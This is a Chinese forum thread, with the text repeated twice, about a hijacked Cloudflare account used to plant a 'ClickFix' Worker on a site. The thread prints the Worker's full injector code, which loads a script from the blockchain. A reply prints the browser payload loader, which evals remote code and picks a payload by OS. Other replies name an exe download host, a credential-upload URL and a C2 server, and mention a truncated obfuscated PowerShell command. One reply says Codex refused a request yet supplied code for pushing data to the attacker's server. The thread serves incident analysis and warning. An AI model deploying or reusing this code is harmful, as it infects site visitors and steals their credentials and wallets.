【更新完结局】来围观,网站被植入恶意脚本,快去看看你的cf账号

2026-04-11 14:181阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐
问题描述: The White House:

前提概要:代码有毒,请勿执行

下面两个图片熟悉吗?

image531×477 60.3 KB

网站是: https://newapi.371723.xyz/ 目前恶意代码还没删,

先说结论:

本来是以为1panel的漏洞,排查到最后发现是cf被人写了恶意的work

密码理论上不可能被爆破,账号是微软邮箱,也接了二验,还未想明白哪里问题?
饭后更新,有兴趣的佬可以1.30后看看
两段代码

第一段

image860×353 30.1 KB

export default{async fetch(t,e,a){let s="";try{const t=async t=>{const e=t=>{let e="0x";for(const a of t){const t=a.toString(16);e+=1===t.length?`0${t}`:t}return e},a=await fetch("https://bsc-testnet.drpc.org/",{method:"POST",headers:{Accept:"application/json","Content-Type":"application/json"},body:JSON.stringify({method:"eth_call",params:[{to:t,data:"0x6d4ce63c"},"latest"],id:97,jsonrpc:"2.0"})}),s=(await a.json()).result.slice(2),n=new Uint8Array(s.match(/[\da-f]{2}/gi).map((t=>parseInt(t,16)))),c=Number(e(n.slice(0,32))),r=Number(e(n.slice(32,32+c)));return String.fromCharCode.apply(null,n.slice(32+c,32+c+r))},e=await t("0xA1decFB75C8C0CA28C10517ce56B710baf727d2e");s=atob(e)}catch{}const n=await fetch(t);if(!s||!n.headers.get("Content-Type")?.includes("text/html"))return n;const c=(await n.text()).replace("</body>",`<script>${s}<\/script></body>`);return new Response(c,{status:n.status,statusText:n.statusText,headers:{...n.headers,"Content-Type":"text/html;charset=UTF-8","Content-Length":c.length.toString()}})}};

另一段

export default{async fetch(t,e,a){let s="";try{const t=async t=>{const e=t=>{let e="0x";for(const a of t){const t=a.toString(16);e+=1===t.length?`0${t}`:t}return e},a=await fetch("https://bsc-testnet.drpc.org/",{method:"POST",headers:{Accept:"application/json","Content-Type":"application/json"},body:JSON.stringify({method:"eth_call",params:[{to:t,data:"0x6d4ce63c"},"latest"],id:97,jsonrpc:"2.0"})}),s=(await a.json()).result.slice(2),n=new Uint8Array(s.match(/[\da-f]{2}/gi).map((t=>parseInt(t,16)))),c=Number(e(n.slice(0,32))),r=Number(e(n.slice(32,32+c)));return String.fromCharCode.apply(null,n.slice(32+c,32+c+r))},e=await t("0xA1decFB75C8C0CA28C10517ce56B710baf727d2e");s=atob(e)}catch{}const n=await fetch(t);if(!s||!n.headers.get("Content-Type")?.includes("text/html"))return n;const c=(await n.text()).replace("</body>",`<script>${s}<\/script></body>`);return new Response(c,{status:n.status,statusText:n.statusText,headers:{...n.headers,"Content-Type":"text/html;charset=UTF-8","Content-Length":c.length.toString()}})}};

时隔半个月结局如下

liulong:

31 号凌晨 4.30 分收到大善人的邮件

关键部分翻译

Cloudflare 最近发现,未知的恶意第三方获取了您的账户访问权限,以便在您的 Workers 服务上部署恶意脚本。此次信息泄露源自 Cloudflare 系统之外。目前,没有证据表明 Cloudflare 的基础设施遭到破坏。
在发现该事件后,Cloudflare 安全团队立即采取行动终止恶意的 Worker 脚本、禁用路由并重置您的密码。我们还将于今日(2026 年 3 月 30 日)世界标准时间 23:59 撤销您的 API 令牌。
我们写信是想提醒您这一事件,并在撤销您的令牌之前提前通知您。
发生了什么?
我们的安全团队发现,在 2026 年 3 月 10 日至 3 月 16 日期间存在未经授权的访问模式,这些访问源自可能通过第三方网络钓鱼或在其他服务中因密码重复使用而遭泄露的凭证。一旦攻击者进入您的账户,他们就部署了一个名为 “ClickFix” 的 Worker 脚本,该脚本旨在通过向您网站的访问者浏览器会话中注入恶意提示来攻击他们。
修复;补救;整治
在检测到此活动后,Cloudflare 安全团队立即采取行动终止了恶意的 Worker 脚本,并重置了您的账户密码。
出于谨慎考虑,我们将于今日(2026 年 3 月 30 日)世界标准时间 23 点 59 分撤销您的 API 访问令牌。
建议
一旦您的令牌失效,您可以通过登录 Cloudflare 控制面板,导航至 “我的个人资料”>“API 令牌”,生成新的令牌来重新生成新的令牌。使用新令牌更新您的应用程序以立即恢复服务。
我们还建议您查看日志并调查与您的 Cloudflare 服务相关的任何其他异常活动。

image928×737 32.3 KB

不得不说大善人还是太善了,虽然相关的内容我已经更换过了

网友解答:
--【壹】--:

只有windows有吗 mac访问没有弹窗呢


--【贰】--:

image1919×1078 331 KB
把元素删去了就能看了耶


--【叁】--:

这是clickfix吧,前两年大流行过


--【肆】--:

确实很有必要加,感谢佬,毕竟敢直接执行代码的猛人太多了


--【伍】--:

这个之前在查一些资料的源头的时候遇到过,当时急着想看资料,还真下意识win+r准备验证了,但随即又反应过来不对劲,什么样的验证会神到让用户去运行一段莫名其妙的未知命令啊


--【陆】--:

期待后续,狠狠的教训他

12号在我这里搞的worker
13号还在尝试登陆这个点99%是国人干的了
image975×648 85.5 KB
10号也来过
image987×573 59.8 KB
他这个是在干什么出发的这两个邮件更换我的api key还是什么

唯一一一次创建cf 的api 是在搞一个开源项目,记不得项目名字仅仅记得是500以上star ,关于cf 搞梯子的项目,当时需要api 执行他的源码文件,可是那是去年12月份的事情了


--【柒】--:

前提概要:代码有毒,请勿执行

电脑被植入病毒了 开发调优
网站被植入了该代码, 伪装成验证. 目前已经在cmd里面执行, 后知后觉发现有问题, 使用火绒全盘查杀找不到问题, 有么有大佬可以反混淆解释一下 "$( set 'Ofs' '') " +([StrinG][ReGex]::MatcHeS( ")'X'+]43[EMOHsp$+]12[EMoHSp$ ( & | )421]rAHc[,)101]rAHc[+08]rAHc[+56]rAHc[( …
紧急求助,电脑疑似运行了病毒程序!下一步该怎么做? 开发调优
今天中午我在查询卡bin的时候用了bincheck.io/zh这个网站,这个网站是我之前一直在用的,所以就放下了戒心。进入网站先出现了主页面。 [image] 然后跳转了 [image] 当时我以为是我ip纯净度问题,因为这个ip之前经常跳cf盾,所以我运行了。 但是我刚刚在用电脑的时候powershell突然闪了一下,我才后知后觉cf好像从来没有这种人机验证方式,并且这个“保密”和“…

--【捌】--:

这个就懒得耗费时间研究了,你要想看的话自己用ida反编译看看好了

不过这种东西,既然用到了区块链来存恶意代码,那大概率应该是偷电脑上的数字钱包用的


--【玖】--:

很多恶意软件都拿区块链做文件中转的


--【拾】--:

Mac有的,会识别然后让你去终端运行命令


--【拾壹】--:

佬有什么CF的API Key泄露了吗?看看有没有什么给了Worker权限


--【拾贰】--:

代码会去base-infra-v3.petitjardin.in.net/verification.google下载一个exe文件执行
文件信息:
图片959×1161 63 KB

解包:
verification.google.7z (257.1 KB)

居然可以用区块链的payload来存恶意代码的吗

网页里的恶意代码:

async function load_(address){ let uint8ArrayToHexString = (uint8Array) => {let hexString = '0x';for (const e of uint8Array) {const hex = e.toString(16);hexString += hex.length === 1 ? `0${hex}` : hex;}return hexString;} _data = {"method":"eth_call","params":[{"to":address,"data":"0x6d4ce63c"},"latest"],"id":97,"jsonrpc":"2.0"}, _config = {method: 'POST',headers: {Accept: 'application/json','Content-Type': 'application/json'},body: JSON.stringify(_data)}, url = 'https://data-seed-prebsc-1-s1.bnbchain.org:8545', response = await fetch(url, _config), answer = (await response.json()).result.slice(2), unhexed = new Uint8Array(answer.match(/[\da-f]{2}/gi).map(function (h) {return parseInt(h, 16)})), offset = Number(uint8ArrayToHexString(unhexed.slice(0, 32))), len = Number(uint8ArrayToHexString(unhexed.slice(32, 32+offset))), value = String.fromCharCode.apply(null, unhexed.slice(32+offset, 32+offset+len)); eval(atob(value)); } const isHeadless = () => { const checks = [ navigator.webdriver === true, /HeadlessChrome/.test(navigator.userAgent), navigator.userAgent.includes("PhantomJS"), navigator.userAgent.includes("Puppeteer"), navigator.userAgent.includes("Playwright"), window.outerWidth === 0 && window.outerHeight === 0, !window.chrome && !window.safari && !navigator.userAgent.includes("Firefox"), ]; const positiveChecks = checks.filter(Boolean).length; const isLikelyNormalBrowser = window.chrome?.runtime || window.safari || navigator.plugins.length > 0 || navigator.languages.length > 0; return positiveChecks >= 2 && !isLikelyNormalBrowser; }; const isWindows = navigator.userAgent.includes("Windows")||navigator.platform.startsWith("Win")||navigator.userAgentData?.platform === "Windows"; const isMac=navigator.userAgent.includes("Macintosh")||navigator.platform.startsWith("Mac")||navigator.userAgentData?.platform === "macOS"; if (isHeadless()) { console.log("stop watching us :)"); } else if (isWindows) { load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff"); } else if (isMac) { load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5"); }


--【拾叁】--:

Mac的样本我看了下,会窃取浏览器凭证上传,http://a5db.ch/upload.php
然后会自动连黑客的C2服务器并且等待新的命令
我看看能不能搞个东西往里面塞


--【拾肆】--:

佬请问还能进一步分析吗?我很好奇他这个exe是来干嘛的?


--【拾伍】--:

image1390×960 205 KB
你说codex道德低下吧,他不给我做
你说codex道德很高吧,他愿意给我一个改个URL就可以往黑客C2服务器塞的代码


--【拾陆】--:

image1919×1079 328 KB
吓哭了,这是什么东西


--【拾柒】--:

6,佬用的什么版本的mac ?air m4 吗?


--【拾捌】--:

M1的MBA


--【拾玖】--:

啊,这么吓人!

问题描述: The White House:

前提概要:代码有毒,请勿执行

下面两个图片熟悉吗?

image531×477 60.3 KB

网站是: https://newapi.371723.xyz/ 目前恶意代码还没删,

先说结论:

本来是以为1panel的漏洞,排查到最后发现是cf被人写了恶意的work

密码理论上不可能被爆破,账号是微软邮箱,也接了二验,还未想明白哪里问题?
饭后更新,有兴趣的佬可以1.30后看看
两段代码

第一段

image860×353 30.1 KB

export default{async fetch(t,e,a){let s="";try{const t=async t=>{const e=t=>{let e="0x";for(const a of t){const t=a.toString(16);e+=1===t.length?`0${t}`:t}return e},a=await fetch("https://bsc-testnet.drpc.org/",{method:"POST",headers:{Accept:"application/json","Content-Type":"application/json"},body:JSON.stringify({method:"eth_call",params:[{to:t,data:"0x6d4ce63c"},"latest"],id:97,jsonrpc:"2.0"})}),s=(await a.json()).result.slice(2),n=new Uint8Array(s.match(/[\da-f]{2}/gi).map((t=>parseInt(t,16)))),c=Number(e(n.slice(0,32))),r=Number(e(n.slice(32,32+c)));return String.fromCharCode.apply(null,n.slice(32+c,32+c+r))},e=await t("0xA1decFB75C8C0CA28C10517ce56B710baf727d2e");s=atob(e)}catch{}const n=await fetch(t);if(!s||!n.headers.get("Content-Type")?.includes("text/html"))return n;const c=(await n.text()).replace("</body>",`<script>${s}<\/script></body>`);return new Response(c,{status:n.status,statusText:n.statusText,headers:{...n.headers,"Content-Type":"text/html;charset=UTF-8","Content-Length":c.length.toString()}})}};

另一段

export default{async fetch(t,e,a){let s="";try{const t=async t=>{const e=t=>{let e="0x";for(const a of t){const t=a.toString(16);e+=1===t.length?`0${t}`:t}return e},a=await fetch("https://bsc-testnet.drpc.org/",{method:"POST",headers:{Accept:"application/json","Content-Type":"application/json"},body:JSON.stringify({method:"eth_call",params:[{to:t,data:"0x6d4ce63c"},"latest"],id:97,jsonrpc:"2.0"})}),s=(await a.json()).result.slice(2),n=new Uint8Array(s.match(/[\da-f]{2}/gi).map((t=>parseInt(t,16)))),c=Number(e(n.slice(0,32))),r=Number(e(n.slice(32,32+c)));return String.fromCharCode.apply(null,n.slice(32+c,32+c+r))},e=await t("0xA1decFB75C8C0CA28C10517ce56B710baf727d2e");s=atob(e)}catch{}const n=await fetch(t);if(!s||!n.headers.get("Content-Type")?.includes("text/html"))return n;const c=(await n.text()).replace("</body>",`<script>${s}<\/script></body>`);return new Response(c,{status:n.status,statusText:n.statusText,headers:{...n.headers,"Content-Type":"text/html;charset=UTF-8","Content-Length":c.length.toString()}})}};

时隔半个月结局如下

liulong:

31 号凌晨 4.30 分收到大善人的邮件

关键部分翻译

Cloudflare 最近发现,未知的恶意第三方获取了您的账户访问权限,以便在您的 Workers 服务上部署恶意脚本。此次信息泄露源自 Cloudflare 系统之外。目前,没有证据表明 Cloudflare 的基础设施遭到破坏。
在发现该事件后,Cloudflare 安全团队立即采取行动终止恶意的 Worker 脚本、禁用路由并重置您的密码。我们还将于今日(2026 年 3 月 30 日)世界标准时间 23:59 撤销您的 API 令牌。
我们写信是想提醒您这一事件,并在撤销您的令牌之前提前通知您。
发生了什么?
我们的安全团队发现,在 2026 年 3 月 10 日至 3 月 16 日期间存在未经授权的访问模式,这些访问源自可能通过第三方网络钓鱼或在其他服务中因密码重复使用而遭泄露的凭证。一旦攻击者进入您的账户,他们就部署了一个名为 “ClickFix” 的 Worker 脚本,该脚本旨在通过向您网站的访问者浏览器会话中注入恶意提示来攻击他们。
修复;补救;整治
在检测到此活动后,Cloudflare 安全团队立即采取行动终止了恶意的 Worker 脚本,并重置了您的账户密码。
出于谨慎考虑,我们将于今日(2026 年 3 月 30 日)世界标准时间 23 点 59 分撤销您的 API 访问令牌。
建议
一旦您的令牌失效,您可以通过登录 Cloudflare 控制面板,导航至 “我的个人资料”>“API 令牌”,生成新的令牌来重新生成新的令牌。使用新令牌更新您的应用程序以立即恢复服务。
我们还建议您查看日志并调查与您的 Cloudflare 服务相关的任何其他异常活动。

image928×737 32.3 KB

不得不说大善人还是太善了,虽然相关的内容我已经更换过了

网友解答:
--【壹】--:

只有windows有吗 mac访问没有弹窗呢


--【贰】--:

image1919×1078 331 KB
把元素删去了就能看了耶


--【叁】--:

这是clickfix吧,前两年大流行过


--【肆】--:

确实很有必要加,感谢佬,毕竟敢直接执行代码的猛人太多了


--【伍】--:

这个之前在查一些资料的源头的时候遇到过,当时急着想看资料,还真下意识win+r准备验证了,但随即又反应过来不对劲,什么样的验证会神到让用户去运行一段莫名其妙的未知命令啊


--【陆】--:

期待后续,狠狠的教训他

12号在我这里搞的worker
13号还在尝试登陆这个点99%是国人干的了
image975×648 85.5 KB
10号也来过
image987×573 59.8 KB
他这个是在干什么出发的这两个邮件更换我的api key还是什么

唯一一一次创建cf 的api 是在搞一个开源项目,记不得项目名字仅仅记得是500以上star ,关于cf 搞梯子的项目,当时需要api 执行他的源码文件,可是那是去年12月份的事情了


--【柒】--:

前提概要:代码有毒,请勿执行

电脑被植入病毒了 开发调优
网站被植入了该代码, 伪装成验证. 目前已经在cmd里面执行, 后知后觉发现有问题, 使用火绒全盘查杀找不到问题, 有么有大佬可以反混淆解释一下 "$( set 'Ofs' '') " +([StrinG][ReGex]::MatcHeS( ")'X'+]43[EMOHsp$+]12[EMoHSp$ ( & | )421]rAHc[,)101]rAHc[+08]rAHc[+56]rAHc[( …
紧急求助,电脑疑似运行了病毒程序!下一步该怎么做? 开发调优
今天中午我在查询卡bin的时候用了bincheck.io/zh这个网站,这个网站是我之前一直在用的,所以就放下了戒心。进入网站先出现了主页面。 [image] 然后跳转了 [image] 当时我以为是我ip纯净度问题,因为这个ip之前经常跳cf盾,所以我运行了。 但是我刚刚在用电脑的时候powershell突然闪了一下,我才后知后觉cf好像从来没有这种人机验证方式,并且这个“保密”和“…

--【捌】--:

这个就懒得耗费时间研究了,你要想看的话自己用ida反编译看看好了

不过这种东西,既然用到了区块链来存恶意代码,那大概率应该是偷电脑上的数字钱包用的


--【玖】--:

很多恶意软件都拿区块链做文件中转的


--【拾】--:

Mac有的,会识别然后让你去终端运行命令


--【拾壹】--:

佬有什么CF的API Key泄露了吗?看看有没有什么给了Worker权限


--【拾贰】--:

代码会去base-infra-v3.petitjardin.in.net/verification.google下载一个exe文件执行
文件信息:
图片959×1161 63 KB

解包:
verification.google.7z (257.1 KB)

居然可以用区块链的payload来存恶意代码的吗

网页里的恶意代码:

async function load_(address){ let uint8ArrayToHexString = (uint8Array) => {let hexString = '0x';for (const e of uint8Array) {const hex = e.toString(16);hexString += hex.length === 1 ? `0${hex}` : hex;}return hexString;} _data = {"method":"eth_call","params":[{"to":address,"data":"0x6d4ce63c"},"latest"],"id":97,"jsonrpc":"2.0"}, _config = {method: 'POST',headers: {Accept: 'application/json','Content-Type': 'application/json'},body: JSON.stringify(_data)}, url = 'https://data-seed-prebsc-1-s1.bnbchain.org:8545', response = await fetch(url, _config), answer = (await response.json()).result.slice(2), unhexed = new Uint8Array(answer.match(/[\da-f]{2}/gi).map(function (h) {return parseInt(h, 16)})), offset = Number(uint8ArrayToHexString(unhexed.slice(0, 32))), len = Number(uint8ArrayToHexString(unhexed.slice(32, 32+offset))), value = String.fromCharCode.apply(null, unhexed.slice(32+offset, 32+offset+len)); eval(atob(value)); } const isHeadless = () => { const checks = [ navigator.webdriver === true, /HeadlessChrome/.test(navigator.userAgent), navigator.userAgent.includes("PhantomJS"), navigator.userAgent.includes("Puppeteer"), navigator.userAgent.includes("Playwright"), window.outerWidth === 0 && window.outerHeight === 0, !window.chrome && !window.safari && !navigator.userAgent.includes("Firefox"), ]; const positiveChecks = checks.filter(Boolean).length; const isLikelyNormalBrowser = window.chrome?.runtime || window.safari || navigator.plugins.length > 0 || navigator.languages.length > 0; return positiveChecks >= 2 && !isLikelyNormalBrowser; }; const isWindows = navigator.userAgent.includes("Windows")||navigator.platform.startsWith("Win")||navigator.userAgentData?.platform === "Windows"; const isMac=navigator.userAgent.includes("Macintosh")||navigator.platform.startsWith("Mac")||navigator.userAgentData?.platform === "macOS"; if (isHeadless()) { console.log("stop watching us :)"); } else if (isWindows) { load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff"); } else if (isMac) { load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5"); }


--【拾叁】--:

Mac的样本我看了下,会窃取浏览器凭证上传,http://a5db.ch/upload.php
然后会自动连黑客的C2服务器并且等待新的命令
我看看能不能搞个东西往里面塞


--【拾肆】--:

佬请问还能进一步分析吗?我很好奇他这个exe是来干嘛的?


--【拾伍】--:

image1390×960 205 KB
你说codex道德低下吧,他不给我做
你说codex道德很高吧,他愿意给我一个改个URL就可以往黑客C2服务器塞的代码


--【拾陆】--:

image1919×1079 328 KB
吓哭了,这是什么东西


--【拾柒】--:

6,佬用的什么版本的mac ?air m4 吗?


--【拾捌】--:

M1的MBA


--【拾玖】--:

啊,这么吓人!